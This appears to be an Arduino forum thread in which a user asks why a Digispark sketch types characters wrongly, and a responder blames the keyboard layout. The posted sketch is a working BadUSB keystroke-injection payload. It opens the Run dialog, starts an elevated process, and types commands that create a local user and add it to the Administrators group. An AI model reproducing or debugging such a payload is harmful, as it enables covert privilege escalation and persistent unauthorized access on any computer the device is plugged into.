Hi, i have problem with library keyboard.h.
Can i use any method write text in binary value, not ascii. With normal text i have problem its not correct when i run digispark.
EXAMPLE: "printText(F("Net User test test1 /ADD"));
RESULT: "Net User test test+ -ADD"
and some other signs ar bad too.
I want use binary code like this "010011100110010101110100001000000101010101110011 01100101011100100010000001110100011001010111001101110100001000000111010001100101 011100110111010000110001001000000010000000101111010000010100010001000100"
for text result.
So no sketch, No board type, No links to anywhere.
Hmmm....Best Idea is for you to read the posts at the TOP of the forum and add some more information.
My crystal ball gave up.
ballscrewbob:
So no sketch, No board type, No links to anywhere.Hmmm....Best Idea is for you to read the posts at the TOP of the forum and add some more information.
My crystal ball gave up.
Sorry, this is my code.
#include "DigiKeyboard.h"
#define KEY_UP_ARROW 0x52
#define KEY_DOWN_ARROW 0x51
#define KEY_LEFT_ARROW 0x50
#define KEY_RIGHT_ARROW 0x4F
#define KEY_LEFT_GUI 0xE3
#define KEY_ESC 0x29
#define KEY_HOME 0x4A
#define KEY_INSERT 0x49
#define KEY_NUM_LOCK 0x53
#define KEY_SCROLL_LOCK 0x47
#define KEY_CAPS_LOCK 0x39
#define KEY_TAB 0x2B
void digiBegin() {
DigiKeyboard.sendKeyStroke(0,0);
DigiKeyboard.delay(50);
}
void digiEnd() {
const int led=1;
pinMode(led, OUTPUT);
while (1) {
digitalWrite(led, !digitalRead(led));
DigiKeyboard.delay(1000);
}
}
void printText(fstr_t *txt) {
DigiKeyboard.print(txt);
DigiKeyboard.update();
}
void setup() {
digiBegin();
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
printText(F("powershell Start-Process notepad -Verb runAs"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
printText(F("Net User test test1 /ADD"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
printText(F("Net LocalGroup Administrators test /ADD"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
/* Unused endless loop */
void loop() {}
thm90:
Hi, i have problem with library keyboard.h.
You're not using keyboard.h, you're using DigiKeyboard.h.
thm90:
With normal text i have problem its not correct when i run digispark.
EXAMPLE: "printText(F("Net User test test1 /ADD"));
RESULT: "Net User test test+ -ADD"
This is likely caused by having your computer set to a different keyboard layout than the one the library was written for.
thm90:
I want use binary code like this "010011100110010101110100001000000101010101110011 01100101011100100010000001110100011001010111001101110100001000000111010001100101 011100110111010000110001001000000010000000101111010000010100010001000100"
for text result.
I'm not sure why you would want to do that. I'm also not at all familiar with whatever library this DigiKeyboard.h comes from. If you were using the standard Arduino Keyboard library, you could use binary with Keyboard.write(), as shown in the documentation: